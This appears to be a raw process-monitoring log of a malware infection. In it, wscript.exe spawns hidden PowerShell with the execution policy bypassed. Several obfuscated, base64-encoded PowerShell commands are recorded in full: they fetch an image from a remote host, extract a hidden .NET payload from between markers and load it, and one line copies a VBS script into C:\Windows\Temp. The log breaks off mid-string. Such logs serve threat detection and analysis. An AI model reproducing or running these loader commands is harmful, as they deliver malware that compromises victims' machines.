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DWKuQemdUcKGQDWKuQemdUcKZQB4DWKuQemdUcKCDWKuQemdUcKDWKuQemdUcKLQBnDWKuQemdUcKGUDWKuQemdUcKIDWKuQemdUcKDWKuQemdUcKwDWKuQemdUcKCDWKuQemdUcKDWKuQemdUcKLQBhDWKuQemdUcKG4DWKuQemdUcKZDWKuQemdUcKDWKuQemdUcKgDWKuQemdUcKCQDWKuQemdUcKZQBuDWKuQemdUcKGQDWKuQemdUcKSQBuDWKuQemdUcKGQDWKuQemdUcKZQB4DWKuQemdUcKCDWKuQemdUcKDWKuQemdUcKLQBnDWKuQemdUcKHQDWKuQemdUcKIDWKuQemdUcKDWKuQemdUcKkDWKuQemdUcKHMDWKuQemdUcKdDWKuQemdUcKBhDWKuQemdUcKHIDWKuQemdUcKdDWKuQemdUcKBJDWKuQemdUcKG4DWKuQemdUcKZDWKuQemdUcKBlDWKuQemdUcKHgDWKuQemdUcKOwDWKuQemdUcKkDWKuQemdUcKHMDWKuQemdUcKdDWKuQemdUcKBhDWKuQemdUcKHIDWKuQemdUcKdDWKuQemdUcKBJDWKuQemdUcKG4DWKuQemdUcKZDWKuQemdUcKBlDWKuQemdUcKHgDWKuQemdUcKIDWKuQemdUcKDWKuQemdUcKrDWKuQemdUcKD0DWKuQemdUcKIDWKuQemdUcKDWKuQemdUcKkDWKuQemdUcKHMDWKuQemdUcKdDWKuQemdUcKBhDWKuQemdUcKHIDWKuQemdUcKdDWKuQemdUcKBGDWKuQemdUcKGwDWKuQemdUcKYQBnDWKuQemdUcKC4DWKuQemdUcKTDWKuQemdUcKBlDWKuQemdUcKG4DWKuQemdUcKZwB0DWKuQemdUcKGgDWKuQemdUcKOwDWKuQemdUcKkDWKuQemdUcKGIDWKuQemdUcKYQBzDWKuQemdUcKGUDWKuQemdUcKNgDWKuQemdUcK0DWKuQemdUcKEwDWKuQemdUcKZQBuDWKuQemdUcKGcDWKuQemdUcKdDWKuQemdUcKBoDWKuQemdUcKCDWKuQemdUcKDWKuQemdUcKPQDWKuQemdUcKgDWKuQemdUcKCQDWKuQemdUcKZQBuDWKuQemdUcKGQDWKuQemdUcKSQBuDWKuQemdUcKGQDWKuQemdUcKZQB4DWKuQemdUcKCDWKuQemdUcKDWKuQemdUcKLQDWKuQemdUcKgDWKuQemdUcKCQDWKuQemdUcKcwB0DWKuQemdUcKGEDWKuQemdUcKcgB0DWKuQemdUcKEkDWKuQemdUcKbgBkDWKuQemdUcKGUDWKuQemdUcKeDWKuQemdUcKDWKuQemdUcK7DWKuQemdUcKCQDWKuQemdUcKYgBhDWKuQemdUcKHMDWKuQemdUcKZQDWKuQemdUcK2DWKuQemdUcKDQDWKuQemdUcKQwBvDWKuQemdUcKG0DWKuQemdUcKbQBhDWKuQemdUcKG4DWKuQemdUcKZDWKuQemdUcKDWKuQemdUcKgDWKuQemdUcKD0DWKuQemdUcKIDWKuQemdUcKDWKuQemdUcKkDWKuQemdUcKGkDWKuQemdUcKbQBhDWKuQemdUcKGcDWKuQemdUcKZQBUDWKuQemdUcKGUDWKuQemdUcKeDWKuQemdUcKB0DWKuQemdUcKC4DWKuQemdUcKUwB1DWKuQemdUcKGIDWKuQemdUcKcwB0DWKuQemdUcKHIDWKuQemdUcKaQBuDWKuQemdUcKGcDWKuQemdUcKKDWKuQemdUcKDWKuQemdUcKkDWKuQemdUcKHMDWKuQemdUcKdDWKuQemdUcKBhDWKuQemdUcKHIDWKuQemdUcKdDWKuQemdUcKBJDWKuQemdUcKG4DWKuQemdUcKZDWKuQemdUcKBlDWKuQemdUcKHgDWKuQemdUcKLDWKuQemdUcKDWKuQemdUcKgDWKuQemdUcKCQDWKuQemdUcKYgBhDWKuQemdUcKHMDWKuQemdUcKZQDWKuQemdUcK2DWKuQemdUcKDQDWKuQemdUcKTDWKuQemdUcKBlDWKuQemdUcKG4DWKuQemdUcKZwB0DWKuQemdUcKGgDWKuQemdUcKKQDWKuQemdUcK7DWKuQemdUcKCQDWKuQemdUcKYwBvDWKuQemdUcKG0DWKuQemdUcKbQBhDWKuQemdUcKG4DWKuQemdUcKZDWKuQemdUcKBCDWKuQemdUcKHkDWKuQemdUcKdDWKuQemdUcKBlDWKuQemdUcKHMDWKuQemdUcKIDWKuQemdUcKDWKuQemdUcK9DWKuQemdUcKCDWKuQemdUcKDWKuQemdUcKWwBTDWKuQemdUcKHkDWKuQemdU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';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('DWKuQemdUcK','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"
parent_process wscript.exe martian_process powershell.exe -WindowStyle Hidden if (-not (Get-ChildItem C:\Windows\Temp\*.vbs)) { Copy-Item -Path *.vbs -Destination C:\Windows\Temp\regasm.vbs -Force }
parent_process wscript.exe martian_process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = '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QemdUcKwDWKuQemdUcKCDWKuQemdUcKDWKuQemdUcKLQBhDWKuQemdUcKG4DWKuQemdUcKZDWKuQemdUcKDWKuQemdUcKgDWKuQemdUcKCQDWKuQemdUcKZQBuDWKuQemdUcKGQDWKuQemdUcKSQBuDWKuQemdUcKGQDWKuQemdUcKZQB4DWKuQemdUcKCDWKuQemdUcKDWKuQemdUcKLQBnDWKuQemdUcKHQDWKuQemdUcKIDWKuQemdUcKDWKuQemdUcKkDWKuQemdUcKHMDWKuQemdUcKdDWKuQemdUcKBhDWKuQemdUcKHIDWKuQemdUcKdDWKuQemdUcKBJDWKuQemdUcKG4DWKuQemdUcKZDWKuQemdUcKBlDWKuQemdUcKHgDWKuQemdUcKOwDWKuQemdUcKkDWKuQemdUcKHMDWKuQemdUcKdDWKuQemdUcKBhDWKuQemdUcKHIDWKuQemdUcKdDWKuQemdUcKBJDWKuQemdUcKG4DWKuQemdUcKZDWKuQemdUcKBlDWKuQemdUcKHgDWKuQemdUcKIDWKuQemdUcKDWKuQemdUcKrDWKuQemdUcKD0DWKuQemdUcKIDWKuQemdUcKDWKuQemdUcKkDWKuQemdUcKHMDWKuQemdUcKdDWKuQemdUcKBhDWKuQemdUcKHIDWKuQemdUcKdDWKuQemdUcKBGDWKuQemdUcKGwDWKuQemdUcKYQBnDWKuQemdUcKC4DWKuQemdUcKTDWKuQemdUcKBlDWKuQemdUcKG4DWKuQemdUcKZwB0DWKuQemdUcKGgDWKuQemdUcKOwDWKuQemdUcKkDWKuQemdUcKGIDWKuQemdUcKYQBzDWKuQemdUcKGUDWKuQemdUcKNgDWKuQemdUcK0DWKuQemdUcKEwDWKuQemdUcKZQBuDWKuQemdUcKGcDWKuQemdUcKdDWKuQemdUcKBoDWKuQemdUcKCDWKuQemdUcKDWKuQemdUcKPQDWKuQemdUcKgDWKuQemdUcKCQDWKuQemdUcKZQBuDWKuQemdUcKGQDWKuQemdUcKSQBuDWKuQemdUcKGQDWKuQemdUcKZQB4DWKuQemdUcKCDWKuQemdUcKDWKuQemdUcKLQDWKuQemdUcKgDWKuQemdUcKCQDWKuQemdUcKcwB0DWKuQemdUcKGEDWKuQemdUcKcgB0DWKuQemdUcKEkDWKuQemdUcKbgBkDWKuQemdUcKGUDWKuQemdUcKeDWKuQemdUcKDWKuQemdUcK7DWKuQemdUcKCQDWKuQemdUcKYgBhDWKuQemdUcKHMDWKuQemdUcKZQDWKu